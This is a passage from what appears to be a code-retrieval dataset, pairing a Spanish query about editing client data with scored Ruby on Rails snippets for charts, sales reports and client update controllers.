Calculate sum of costs based on daily, weekly, and monthly\n period_costs = time_period_costs.reduce(Array.new(PERIOD_COUNT, 0)) do |res, time_period_cost|\n (0..PERIOD_COUNT - 1).each do |i|\n res[i] = (ALL_TIME_PERIODS[i] == time_period_cost[:time_period]) ? res[i] + time_period_cost[:cost] : res[i]\n end\n res\n end\n\n # Calculate sum of daily costs regarding daily and weekly.\n daily_weekly_sum = period_costs[0] + period_costs[1] / 7\n\n results = Array.new\n\n (start_date..end_date).map do |cur|\n days = days_in_month cur.year, cur.month\n results.push({\n date: cur.strftime(\"%a, %d %b %Y\"),\n cost: daily_weekly_sum + period_costs[2] / days\n })\n end\n results\nend", "title": "" }, { "docid": "2d8f5a4d7cd4bd9d53fd5cab12ed4115", "score": "0.53846717", "text": "def index\n \n chart_params\n \n @diaini = params[:auxdata].to_date.beginning_of_day\n @diafim = params[:auxdata].to_date.end_of_day\n \n @mesini = params[:auxdata].to_date.beginning_of_month\n @mesfim = params[:auxdata].to_date.end_of_month\n \n @anoini = params[:auxdata].to_date.beginning_of_year\n @anofim = params[:auxdata].to_date.end_of_year\n \n @sensors = Sensor.where(chave: params[:chave]).order(\"datainclusao\").all\n \n @sensors_dia = @sensors.where(datainclusao: @diaini..@diafim)\n @sensors_mes = @sensors.where(datainclusao: @mesini..@mesfim)\n @sensors_ano = @sensors.where(datainclusao: @anoini..@anofim)\n \n labelsdia = []\n limpezadia = []\n prodgerdia = []\n utilresdia = []\n economidia = []\n \n labelsmes = []\n limpezames = []\n prodgermes = []\n utilresmes = []\n economimes = []\n \n labelsano = []\n limpezaano = []\n prodgerano = []\n utilresano = []\n economiano = []\n \n \n @valor_dia = 0\n \n @sensors_dia.each do |sensor|\n \n if sensor.sensor2 >= 510\n ts0 = (sensor.sensor2 * 0.1667) * (sensor.sensor3 * 0.0246)\n else\n ts0 = (sensor.sensor2 * (-0.1667)) * (sensor.sensor3 * 0.0246)\n end\n \n ts1 = ((sensor.sensor0 * 2.7114) * (sensor.sensor1 * 0.09774) / 1000)\n \n ts2 = 0\n ts3 = 0\n \n @valor_dia += ts1.to_i\n \n labelsdia.push({\n label: sensor.datainclusao.strftime('%T')\n })\n \n limpezadia.push({\n value: ts0.to_i\n })\n \n prodgerdia.push({\n value: ts1.to_i\n })\n \n utilresdia.push({\n value: ts3.to_i\n })\n \n economidia.push({\n value: ts2.to_i\n })\n \n end\n \n @ts0 = 0\n @ts1 = 0\n @ts2 = 0\n @ts3 = 0\n \n @valor_mes = 0\n \n @sensors_mes.each do |sensor|\n \n @auxdia = sensor.datainclusao.day\n \n if @auxdia2 == nil\n @auxdia2 = sensor.datainclusao.day\n end\n \n if @auxdia != @auxdia2\n \n @valor_mes += @ts2\n \n labelsmes.push({\n label: @label\n })\n \n limpezames.push({\n value: @ts0.to_i\n })\n \n prodgermes.push({\n value: @ts1.to_i\n })\n \n utilresmes.push({\n value: @ts3.to_i\n })\n \n economimes.push({\n value: @ts2.to_i\n })\n \n @ts0 = 0\n @ts1 = 0\n @ts2 = 0\n @ts3 = 0\n \n end\n \n if sensor.sensor2 >= 510\n @ts0 = (sensor.sensor2 * 0.1667) * (sensor.sensor3 * 0.0246)\n else\n @ts0 = (sensor.sensor2 * (-0.1667)) * (sensor.sensor3 * 0.0246)\n end\n \n @ts1 = ((sensor.sensor0 * 2.7114) * (sensor.sensor1 * 0.09774) / 1000)\n \n @ts2 = 0\n @ts3 = 0\n \n @label = sensor.datainclusao.strftime('%F')\n \n @auxdia2 = sensor.datainclusao.day\n \n end\n \n if @auxdia == @auxdia2\n \n @valor_mes += @ts2\n \n labelsmes.push({\n label: @label\n })\n \n limpezames.push({\n value: @ts0.to_i\n })\n \n prodgermes.push({\n value: @ts1.to_i\n })\n \n utilresmes.push({\n value: @ts3.to_i\n })\n \n economimes.push({\n value: @ts2.to_i\n })\n \n end\n \n @ts0 = 0\n @ts1 = 0\n @ts2 = 0\n @ts3 = 0\n \n @valor_ano = 0\n \n @sensors_ano.each do |sensor|\n \n @auxmes = sensor.datainclusao.month\n \n if @auxmes2 == nil\n @auxmes2 = sensor.datainclusao.month\n end\n \n if @auxmes != @auxmes2\n \n @valor_ano += @ts2\n \n labelsano.push({\n label: @label\n })\n \n limpezaano.push({\n value: @ts0.to_i\n })\n \n prodgerano.push({\n value: @ts1.to_i\n })\n \n utilresano.push({\n value: @ts3.to_i\n })\n \n economiano.push({\n value: @ts2.to_i\n })\n \n @ts0 = 0\n @ts1 = 0\n @ts2 = 0\n @ts3 = 0\n \n end\n \n if sensor.sensor2 >= 510\n @ts0 = (sensor.sensor2 * 0.1667) * (sensor.sensor3 * 0.0246)\n else\n @ts0 = (sensor.sensor2 * (-0.1667)) * (sensor.sensor3 * 0.0246)\n end\n \n @ts1 = ((sensor.sensor0 * 2.7114) * (sensor.sensor1 * 0.09774) / 1000)\n \n @ts2 = 0\n @ts3 = 0\n \n @label = sensor.datainclusao.month\n \n @auxmes2 = sensor.datainclusao.month\n \n end\n \n if @auxmes == @auxmes2\n \n @valor_ano += @ts2\n \n labelsano.push({\n label: @label\n })\n \n limpezaano.push({\n value: @ts0.to_i\n })\n \n prodgerano.push({\n value: @ts1.to_i\n })\n \n utilresano.push({\n value: @ts3.to_i\n })\n \n economiano.push({\n value: @ts2.to_i\n })\n \n end\n \n \n @chart = Fusioncharts::Chart.new({\n width: \"450\",\n height: \"250\",\n type: \"zoomline\",\n renderAt: \"chartContainer\",\n dataSource: {\n chart: {\n caption: \"Controle de manutenção\",\n subCaption: \"\",\n xAxisname: \"Horas\",\n yAxisName: \"Produção (kW)\",\n forceAxisLimits: \"1\",\n numVisibleLabels: \"12\",\n theme: \"fint\",\n exportEnabled: \"1\",\n showValues: \"0\"\n },\n categories: [{category: [ labelsdia ]}],\n dataset: [\n {\n seriesname: \"Produção\",\n data: [ limpezadia ]\n }\n ]\n }\n })\n \n @chart2 = Fusioncharts::Chart.new({\n width: \"450\",\n height: \"250\",\n type: \"zoomline\",\n renderAt: \"chart2Container\",\n dataSource: {\n chart: {\n caption: \"Produção Geral\",\n subCaption: \"\",\n xAxisname: \"Horas\",\n yAxisName: \"Produção (kW)\",\n forceAxisLimits: \"1\",\n numVisibleLabels: \"12\",\n theme: \"fint\",\n exportEnabled: \"1\",\n showValues: \"0\"\n },\n categories: [{category: [ labelsdia ]}],\n dataset: [\n {\n seriesname: \"Produção\",\n data: [ prodgerdia ]\n }\n ]\n }\n })\n \n @chart3 = Fusioncharts::Chart.new({\n width: \"450\",\n height: \"250\",\n type: \"zoomline\",\n renderAt: \"chart3Container\",\n dataSource: {\n chart: {\n caption: \"Controle de Consumo\",\n subCaption: \"\",\n xAxisname: \"Horas\",\n yAxisName: \"Consumo (kW)\",\n forceAxisLimits: \"1\",\n numVisibleLabels: \"12\",\n theme: \"fint\",\n exportEnabled: \"1\",\n showValues: \"0\"\n },\n categories: [{category: [ labelsdia ]}],\n dataset: [\n {\n seriesname: \"Consumo\",\n data: [ utilresdia ]\n }\n ]\n }\n })\n \n @chart4 = Fusioncharts::Chart.new({\n width: \"450\",\n height: \"250\",\n type: \"zoomline\",\n renderAt: \"chart4Container\",\n dataSource: {\n chart: {\n caption: \"Controle de Econômia\",\n subCaption: \"\",\n xAxisname: \"Horas\",\n yAxisName: \"Econômia (kW)\",\n forceAxisLimits: \"1\",\n numVisibleLabels: \"12\",\n theme: \"fint\",\n exportEnabled: \"1\",\n showValues: \"0\"\n },\n categories: [{category: [ labelsdia ]}],\n dataset: [\n {\n seriesname: \"Econômia\",\n data: [ economidia ]\n }\n ]\n }\n })\n \n @chartmes = Fusioncharts::Chart.new({\n width: \"450\",\n height: \"250\",\n type: \"mscolumn2d\",\n renderAt: \"chartmesContainer\",\n dataSource: {\n chart: {\n caption: \"Controle de manutenção\",\n subCaption: \"\",\n xAxisname: \"Dias\",\n yAxisName: \"Produção (kW/h)\",\n forceAxisLimits: \"1\",\n numVisibleLabels: \"31\",\n theme: \"fint\",\n exportEnabled: \"1\",\n showValues: \"0\",\n numberSuffix: \"W/h\"\n },\n categories: [{category: [ labelsmes ]}],\n dataset: [\n {\n seriesname: \"Produção\",\n data: [ limpezames ]\n }\n ]\n }\n })\n \n @chart2mes = Fusioncharts::Chart.new({\n width: \"450\",\n height: \"250\",\n type: \"mscolumn2d\",\n renderAt: \"chart2mesContainer\",\n dataSource: {\n chart: {\n caption: \"Produção Geral\",\n subCaption: \"\",\n xAxisname: \"Dias\",\n yAxisName: \"Produção (kW/h)\",\n forceAxisLimits: \"1\",\n numVisibleLabels: \"31\",\n theme: \"fint\",\n exportEnabled: \"1\",\n showValues: \"0\",\n numberSuffix: \"W/h\"\n },\n categories: [{category: [ labelsmes ]}],\n dataset: [\n {\n seriesname: \"Produção\",\n data: [ prodgermes ]\n }\n ]\n }\n })\n \n @chart3mes = Fusioncharts::Chart.new({\n width: \"450\",\n height: \"250\",\n type: \"mscolumn2d\",\n renderAt: \"chart3mesContainer\",\n dataSource: {\n chart: {\n caption: \"Controle de Consumo\",\n subCaption: \"\",\n xAxisname: \"Dias\",\n yAxisName: \"Consumo (kW/h)\",\n forceAxisLimits: \"1\",\n numVisibleLabels: \"31\",\n theme: \"fint\",\n exportEnabled: \"1\",\n showValues: \"0\",\n numberSuffix: \"W/h\"\n },\n categories: [{category: [ labelsmes ]}],\n dataset: [\n {\n seriesname: \"Consumo\",\n data: [ prodgermes ]\n }\n ]\n }\n })\n \n @chart4mes = Fusioncharts::Chart.new({\n width: \"450\",\n height: \"250\",\n type: \"mscolumn2d\",\n renderAt: \"chart4mesContainer\",\n dataSource: {\n chart: {\n caption: \"Controle de Econômia\",\n subCaption: \"\",\n xAxisname: \"Dias\",\n yAxisName: \"Econômia (kW/h)\",\n forceAxisLimits: \"1\",\n numVisibleLabels: \"31\",\n theme: \"fint\",\n exportEnabled: \"1\",\n showValues: \"0\",\n numberSuffix: \"W/h\"\n },\n categories: [{category: [ labelsmes ]}],\n dataset: [\n {\n seriesname: \"Econômia\",\n data: [ prodgermes ]\n }\n ]\n }\n })\n \n @chartano = Fusioncharts::Chart.new({\n width: \"450\",\n height: \"250\",\n type: \"mscolumn2d\",\n renderAt: \"chartanoContainer\",\n dataSource: {\n chart: {\n caption: \"Controle de manutenção\",\n subCaption: \"\",\n xAxisname: \"Meses\",\n yAxisName: \"Produção (kW/h)\",\n forceAxisLimits: \"1\",\n numVisibleLabels: \"12\",\n theme: \"fint\",\n exportEnabled: \"1\",\n showValues: \"0\",\n numberSuffix: \"W/h\"\n },\n categories: [{category: [ labelsano ]}],\n dataset: [\n {\n seriesname: \"Produção\",\n data: [ limpezaano ]\n }\n ]\n }\n })\n \n \n @chart2ano = Fusioncharts::Chart.new({\n width: \"450\",\n height: \"250\",\n type: \"mscolumn2d\",\n renderAt: \"chart2anoContainer\",\n dataSource: {\n chart: {\n caption: \"Produção Geral\",\n subCaption: \"\",\n xAxisname: \"Meses\",\n yAxisName: \"Produção (kW/h)\",\n forceAxisLimits: \"1\",\n numVisibleLabels: \"12\",\n theme: \"fint\",\n exportEnabled: \"1\",\n showValues: \"0\",\n numberSuffix: \"W/h\"\n },\n categories: [{category: [ labelsano ]}],\n dataset: [\n {\n seriesname: \"Produção\",\n data: [ prodgerano ]\n }\n ]\n }\n })\n \n \n @chart3ano = Fusioncharts::Chart.new({\n width: \"450\",\n height: \"250\",\n type: \"mscolumn2d\",\n renderAt: \"chart3anoContainer\",\n dataSource: {\n chart: {\n caption: \"Controle de Consumo\",\n subCaption: \"\",\n xAxisname: \"Meses\",\n yAxisName: \"Consumo (kW/h)\",\n forceAxisLimits: \"1\",\n numVisibleLabels: \"12\",\n theme: \"fint\",\n exportEnabled: \"1\",\n showValues: \"0\",\n numberSuffix: \"W/h\"\n },\n categories: [{category: [ labelsano ]}],\n dataset: [\n {\n seriesname: \"Consumo\",\n data: [ utilresano ]\n }\n ]\n }\n })\n \n \n @chart4ano = Fusioncharts::Chart.new({\n width: \"450\",\n height: \"250\",\n type: \"mscolumn2d\",\n renderAt: \"chart4anoContainer\",\n dataSource: {\n chart: {\n caption: \"Controle de Econômia\",\n subCaption: \"\",\n xAxisname: \"Meses\",\n yAxisName: \"Econômia (kW/h)\",\n forceAxisLimits: \"1\",\n numVisibleLabels: \"12\",\n theme: \"fint\",\n exportEnabled: \"1\",\n showValues: \"0\",\n numberSuffix: \"W/h\"\n },\n categories: [{category: [ labelsano ]}],\n dataset: [\n {\n seriesname: \"Econômia\",\n data: [ economiano ]\n }\n ]\n }\n })\n \n end", "title": "" }, { "docid": "965345ec50b8d00e3819a386d15d1bf3", "score": "0.53785694", "text": "def sales\n return FarMar::Sale.by_product(@id)\n end", "title": "" }, { "docid": "13cd99c400d6cb48a3c57f2e0914cd55", "score": "0.537853", "text": "def calculate\n calculator.calculate do |tax, taxed_price|\n { sales_tax: tax, taxed_price: taxed_price }\n end\n end", "title": "" }, { "docid": "ccb40cb594794090d29324e27ea2d1ba", "score": "0.53698695", "text": "def makeChart assortment , plusOneSD , minusOneSD , fileName \n\t\tyValues=['assortment', 'plusOneSD', 'minusOneSD']\n\t\tdata=Array.new\n\t\t\n\t\tassortment.each_index{\n\t\t\t|idx|\n\t\t\tdata << OpenStruct.new({ timeUnit: idx, assortment: assortment[idx], plusOneSD: plusOneSD[idx], minusOneSD: minusOneSD[idx] })\n\t\t}\n\t\t\n\t\tGraphic.makeLineChart @timeUnits, 1, yValues, data, fileName, 'Unidades de tiempo (generaciones)', 'Assortment'\n\tend", "title": "" }, { "docid": "db7f85739ff21bd2847c1278bfbbd49f", "score": "0.5368584", "text": "def series; end", "title": "" }, { "docid": "c8f560a65e27891926af09f54b2d9593", "score": "0.53683704", "text": "def set_chart_data\n # Determine data for the flats presented in charts\n @chart_data = []\n @chart_2_data = []\n @flats_data_hash_2 = {name: \"flats\", data: []}\n flat_max_size = @flat.surface * 1.2\n flat_min_size = @flat.surface * 0.8\n Flat.near([@flat.latitude, @flat.longitude], 1).reject{|flat| flat.id == @flat.id}.each do |flat|\n if @chart_data.size <= 100 && flat.price && flat.price < 1000000 && flat.price > 0 && flat.surface && flat.surface < flat_max_size && flat.surface > flat_min_size\n @chart_data << {name: flat_path(flat.id), data: [[flat.price, flat.surface]], marker: {symbol: \"circle\"}, color: \"#243059\"}\n end\n if @chart_2_data.size <= 100 && flat.price && flat.price < 1000000 && flat.price > 0 && flat.surface < flat_max_size && flat.surface > flat_min_size\n @chart_2_data << {name: flat_path(flat.id), data: [[flat.price / flat.surface, flat.surface]], marker: {symbol: \"circle\"}, color: \"#243059\"}\n end\n end\n\n # Determine data for selected flats presented in charts\n @chart_data << {name: flat_path(@flat.id), data: [[@flat.price, @flat.surface]], marker: {symbol: \"circle\"}, color: \"#20E8B6\"}\n if @flat.surface\n @chart_2_data << {name: flat_path(@flat.id), data: [[@flat.price / @flat.surface, @flat.surface]], marker: {symbol: \"circle\"}, color: \"#20E8B6\"}\n end\n end", "title": "" }, { "docid": "f13fc8f028c9e4002fdcc01fcaeb4a64", "score": "0.53680325", "text": "def index\n\n @transactions = current_user.transactions(:order => \"date DESC\")\n\n @sub_title = \"Showing all your expenses\"\n\n if params[:search]\n @transactions = @transactions.scoped(:conditions => ['description LIKE ? OR tag LIKE ? OR location LIKE ?', \"%#{params[:search]}%\", \"%#{params[:search]}%\", \"%#{params[:search]}%\"])\n @sub_title = \"Found \"\n @sub_title << @transactions.size.to_s\n @sub_title << \" results matching with - '\"\n @sub_title << params[:search]\n @sub_title << \"'\"\n end\n\n @total = @transactions.sum('amount')\n\n #Code below is for calculating information for the Pie chart\n tag_set = Set.new\n\n @transactions.each do |tran|\n tag_set << tran.tag\n end\n\n @pie_data = Hash.new\n\n tag_set.each do |tag|\n temp_trans = @transactions.where(\"tag = ?\", tag)\n @pie_data[tag] = temp_trans.sum('amount')\n end\n\n #Code below is for calculating information for the Pie chart\n @transactions = @transactions.sort! { |a,b| a.date <=> b.date }\n\n @graph_data = Hash.new\n\n @transactions.each do |t|\n time = Time.parse(t.date.to_s).utc.to_i*1000\n if @graph_data[time]\n @graph_data[time] += t.amount\n else\n @graph_data[time] = t.amount\n end\n end\n\n #Code below is for calculating information for the bar chart\n @bar_data = Hash.new { |h,v| h[v]= Hash.new }\n\n @transactions.each do |t|\n trans_tag = t.tag\n month = t.date.strftime(\"%B, %Y\")\n if @bar_data[trans_tag]\n if @bar_data[trans_tag][month]\n @bar_data[trans_tag][month] += t.amount\n else\n @bar_data[trans_tag][month] = t.amount\n end\n else\n @bar_data[trans_tag] = Hash.new\n @bar_data[trans_tag][month] = t.amount\n end\n end\n\n @months_set = Set.new\n\n @transactions.each do |t|\n @months_set << t.date.strftime(\"%B, %Y\")\n end\n\n @transactions_paginated = @transactions.paginate(:page => params[:page], :per_page => 50)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @transactions }\n end\n end", "title": "" }, { "docid": "fab9499bbd728bcf3d9e73bc4762826f", "score": "0.53656113", "text": "def show\n @search_results = @search_term.search_results.order('created_at DESC').paginate(page: params[:page])\n @chart_data = Hash[@search_results.map{|result| result.created_at}.zip(@search_results.map(&:total))]\n end", "title": "" }, { "docid": "e7a2b3de265f238a792d461d9dcf3ba3", "score": "0.53643167", "text": "def stock_picker(prices)\n buy = buy_date(prices)\n sell = sell_date(prices)\n puts [buy, sell]\nend", "title": "" }, { "docid": "fae127b813363b579e22761cef18bc97", "score": "0.5363741", "text": "def index\n @sales = current_user.sales\n @saleshasharray = Array.new\n @sales.each do |sale|\n saleshash = Hash.new\n saleshash['id']=sale.id\n saleshash['BUYER_GSTIN_UIN']=sale.BUYER_GSTIN_UIN\n saleshash['INVOICE_NO']=sale.INVOICE_NO\n saleshash['INVOICE_DATE']=sale.INVOICE_DATE.strftime(\"%d/%m/%Y\") \n total_amount = 0\n total_discount = 0\n total_SGST = 0\n total_CGST = 0\n total_IGST = 0\n sale.exportsales.each do |e|\n total_amount = total_amount + e.AMOUNT.to_i\n total_discount = total_discount + e.LESS_DISCOUNT_ABATEMENT.to_i\n total_SGST = total_SGST + e.SGST_AMT.to_i\n total_CGST = total_CGST + e.CGST_AMT.to_i\n total_IGST = total_IGST + e.IGST_AMT.to_i\n end\n\n saleshash['total_amount']=total_amount\n saleshash['PLACE_OF_SUPPLY']=sale.PLACE_OF_SUPPLY\n saleshash['Tax_Amount']=total_amount-total_discount\n saleshash['total_CGST']=total_CGST\n saleshash['total_SGST']=total_SGST\n saleshash['total_IGST']=total_IGST\n saleshash['SaleObject']=sale\n @saleshasharray.push saleshash\n end\n end", "title": "" }, { "docid": "9a44cce739a3ba643f0af7cb59fadf6c", "score": "0.53632903", "text": "def sale\n authorize :report, :store?\n\n if params[:with_beacon].present?\n @store_with_beacon = CustomerTracking.group_by_sale(\"with_beacon\", (Time.now-1.month), Time.now, params[:with_beacon].to_i)\n else\n @store_with_beacon = CustomerTracking.group_by_sale(\"with_beacon\", (Time.now-1.month), Time.now, params[:with_beacon].to_i)\n end\n if params[:without_beacon].present?\n @store_without_beacon = CustomerTracking.group_by_sale(\"without_beacon\", (Time.now-1.month), Time.now, params[:without_beacon].to_i)\n else\n @store_without_beacon = CustomerTracking.group_by_sale(\"without_beacon\", (Time.now-1.month), Time.now, params[:without_beacon].to_i)\n end\n \n \n end", "title": "" }, { "docid": "61204272610045c9f5140323cef0beb3", "score": "0.5355545", "text": "def create_report(products_hash)\n # Print \"Sales Report\" in ascii art\n \n print_ascii_art('Sales Report')\n\n # Print today's date\n\n time = Time.new\n $report.puts print_ascii_art(time.strftime(\"%d / %m / %Y\"))\n\n # Print \"Products\" in ascii art\n\n print_ascii_art('Products')\n\n # For each product in the data set:\n\t# Print the name of the toy\n\t# Print the retail price of the toy\n\t# Calculate and print the total number of purchases\n\t# Calculate and print the total amount of sales\n\t# Calculate and print the average price the toy sold for\n\t# Calculate and print the average discount (% or $) based off the average sales price\n\n generate_products_report(products_hash)\t\n\t\n # Print \"Brands\" in ascii art\n\n print_ascii_art('Brands')\n\n # For each brand in the data set:\n\t# Print the name of the brand\n\t# Count and print the number of the brand's toys we stock\n\t# Calculate and print the average price of the brand's toys\n\t# Calculate and print the total sales volume of all the brand's toys combined\n\n generate_brands_report(products_hash)\nend", "title": "" }, { "docid": "12cc16f6bc30f0bf2777e296cfe32622", "score": "0.5355333", "text": "def number_of_sales\n end", "title": "" } ]
818f460a10cc683d1aa4053cad60744d
Este servicio permite editar los datos de un cliente
[ { "docid": "6f5d270ae1b02f509a594382bf64c715", "score": "0.0", "text": "def edit_customer(params: {})\n path = '/api/customer/edit'\n\n private_post(path, params)\n end", "title": "" } ]
[ { "docid": "8d2dcd0d0f9c448835b0aa704ce6f516", "score": "0.73157173", "text": "def update\n @cliente = Cliente.find(params[:id])\n\n respond_to do |format|\n if @cliente.update_attributes(params[:cliente])\n format.html { redirect_to [:admin, @cliente], :notice => 'Exemplo was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @cliente.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3a35d91073d4b0f6b8ee9d30876c1f46", "score": "0.7305648", "text": "def update\n # Se busca el cliente\n @client = Client.find(params[:id])\n # Se actualizan los parametros\n if @client.update_attributes(params[:client])\n redirect_to @client, flash: {success: I18n.t('client.update_success')}\n else\n render 'edit'\n end\n end", "title": "" }, { "docid": "7b3436a5a8550b804bf0ab530349d680", "score": "0.72984546", "text": "def actualizar(id, nombre, apellido, email, telefono)\n\t\t@clientes.each do |cliente|\n\t\t\tif cliente.id == id\n\t\t\t\tcliente.nombre = nombre unless nombre.nil?\n\t\t\t\tcliente.apellido = apellido unless apellido.nil?\n\t\t\t\tcliente.email = email unless email.nil?\n\t\t\t\tcliente.telefono = telefono unless telefono.nil?\n\t\t\t\tbreak\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "8f3e19f0c6598a59b92476ae15785370", "score": "0.7289923", "text": "def update\n cliente_viejo = @cliente.dup\n respond_to do |format|\n if @cliente.update(cliente_params)\n Auditorium.GenerarAuditoria(\"Modifiacion de Cliente\", current_user.email, cliente_viejo, @cliente)\n format.html { redirect_to @cliente, notice: 'Cliente was successfully updated.' }\n format.json { render :show, status: :ok, location: @cliente }\n else\n format.html { render :edit }\n format.json { render json: @cliente.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2114acc5e74f8f729650a4f11d378e85", "score": "0.7199149", "text": "def update\n\n @cliente = find_cliente\n @descuento_cliente = @cliente.descuento_clientes.find(params[:id])\n\n respond_to do |format|\n\n if @descuento_cliente.update_attributes(params[:descuento_cliente])\n #format.html { redirect_to redirigir(@contelefono), :notice => 'El telefono fue actualizado correctamente.' }\n format.json { render json: @descuento_cliente }\n else\n #format.html { render :action => \"edit\" }\n format.json { render json: @descuento_cliente.errors }\n end\n\n end\n\n end", "title": "" }, { "docid": "430945b2b82498b1bd0d4a9e0b26b5a7", "score": "0.71677524", "text": "def update\n @ventas_cliente = Ventas::Cliente.find(params[:id])\n\n respond_to do |format|\n if @ventas_cliente.update_attributes(params[:ventas_cliente])\n format.html { redirect_to @ventas_cliente, notice: 'Cliente was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ventas_cliente.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d9d77e2c47861f36636dfcd4c24bc489", "score": "0.7166706", "text": "def update\n @clientetipo = Clientetipo.find(params[:id])\n\n respond_to do |format|\n if @clientetipo.update_attributes(params[:clientetipo])\n format.html { redirect_to @clientetipo, notice: 'Clientetipo was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @clientetipo.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a4d5a1a8dbbade06b0521d1337e73178", "score": "0.71312755", "text": "def update\n @cliente = Cliente.find(params[:id])\n params[:cliente] = formata_dados(params[:cliente])\n\n respond_to do |format|\n if @cliente.update_attributes(params[:cliente])\n flash[:notice] = 'Registro atualizado com sucesso.'\n format.html { redirect_to(clientes_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @cliente.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bfdc2b0a67e98985013d8cfc2881f8cc", "score": "0.7126911", "text": "def update\n @empresa = Empresa.find(params[:empresa_id])\n @consulta_cliente = @empresa.consulta_clientes.find(params[:id]) \n respond_to do |format|\n if @consulta_cliente.update(consulta_cliente_params)\n format.html { redirect_to empresa_consulta_clientes_path, notice: 'Noticium was successfully updated.' }\n format.json { render :show, status: :ok, location: @consulta_cliente }\n else\n format.html { render :edit }\n format.json { render json: @consulta_cliente.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "04d51aa212185cdcc914b45e24ec57ec", "score": "0.7115875", "text": "def update\n @cliente = Cliente.find(params[:id])\n\n respond_to do |format|\n if @cliente.update_attributes(params[:cliente])\n format.html { redirect_to \"/dados\", notice: 'Suas informações foram alteradas com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cliente.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "13c482d726d314133f002b1b441c4bc4", "score": "0.7105443", "text": "def update\n @cliente = Cliente.find(params[:id])\n\n respond_to do |format|\n if @cliente.update_attributes(params[:cliente])\n format.html { redirect_to admin_clientes_url, notice: 'Cliente was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cliente.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "91132b4d82a7f93f46d59cd054188fca", "score": "0.7096215", "text": "def update\n @cliente = Cliente.find(params[:id])\n\n respond_to do |format|\n if @cliente.update_attributes(params[:cliente])\n format.html { redirect_to @cliente, :notice => 'Cliente atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @cliente.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e12afc2b18ea60eb6445343272f8b983", "score": "0.7060503", "text": "def update\n cliente = Cliente.find(params[:cliente_id])\n\n @orcamento = cliente.orcamentos.find(params[:id])\n\n if @orcamento.update(orcamento_params)\n redirect_to([@orcamento.cliente,@orcamento], notice: 'Orçamento alterado com sucesso!')\n else\n render action: 'edit'\n end\n\n end", "title": "" }, { "docid": "e23f7b6f265f34c952aa4124a55d97a4", "score": "0.7047011", "text": "def update\n @adm_cliente = Adm::Cliente.find(params[:id])\n\n if @adm_cliente.update_attributes(params[:adm_cliente])\n logUsuario(request.remote_ip, session[:usuario].id, \"Cliente editado (ID Cliente = \" + @adm_cliente.id.to_s + \")\") \n logCliente(request.remote_ip, @adm_cliente.id, session[:usuario].id, \"Cliente editado\")\n redirect_to(:adm_clientes, :notice => 'Os novos dados do cliente foram salvos') \n else\n logUsuario(request.remote_ip, session[:usuario].id, \"Problemas ao editar dos dados do Cliente (ID Cliente = \" + params[:id] + \")\") \n logCliente(request.remote_ip, params[:id], session[:usuario].id, \"Problemas ao editar os dados\")\n redirect_to :back, :notice => 'Os dados não foram salvos. Revise-os e tente novamente.' \n end\n end", "title": "" }, { "docid": "498068cd82a66a6af64b1c266ff069c1", "score": "0.7045416", "text": "def update\n @client = Client.find(params[:id])\n usuario = Usuario.find_by_auth_token( cookies[:auth_token])\n if @client.usuario_id == usuario.id\n respond_to do |format|\n if @client.update_attributes(params[:client])\n format.html { redirect_to [:cliente, @client], notice: 'Client was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end\n end", "title": "" }, { "docid": "38983b6b13e05b53bec1a8a5311e4856", "score": "0.703717", "text": "def update\n \n respond_to do |format|\n if @cliente.update(cliente_params)\n format.html { redirect_to @cliente, notice: \"Cliente was successfully updated.\" }\n format.json { render :show, status: :ok, location: @cliente }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @cliente.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "805a54872250e2e5cc7e46f859fffdc9", "score": "0.7035377", "text": "def update\n @cliente = Cliente.find(params[:id])\n\n respond_to do |format|\n if @cliente.update_attributes(params[:cliente])\n format.html { redirect_to @cliente, notice: 'Cliente was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cliente.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "805a54872250e2e5cc7e46f859fffdc9", "score": "0.7035377", "text": "def update\n @cliente = Cliente.find(params[:id])\n\n respond_to do |format|\n if @cliente.update_attributes(params[:cliente])\n format.html { redirect_to @cliente, notice: 'Cliente was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cliente.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cbb92c685a955774aca73f25c632418d", "score": "0.7034923", "text": "def update\n @estado_cliente = EstadoCliente.find(params[:id])\n\n respond_to do |format|\n if @estado_cliente.update_attributes(params[:estado_cliente])\n format.html { redirect_to @estado_cliente, notice: 'Estado cliente was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @estado_cliente.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4b78b65d0f8bf9ac8e80004deacf60be", "score": "0.70323783", "text": "def set_cliente\n @cliente = current_user.empresa.clientes.find(params[:id])\n end", "title": "" }, { "docid": "df93eb01bfe78026d7b48f0644922fe9", "score": "0.70315105", "text": "def update\n @cliente = 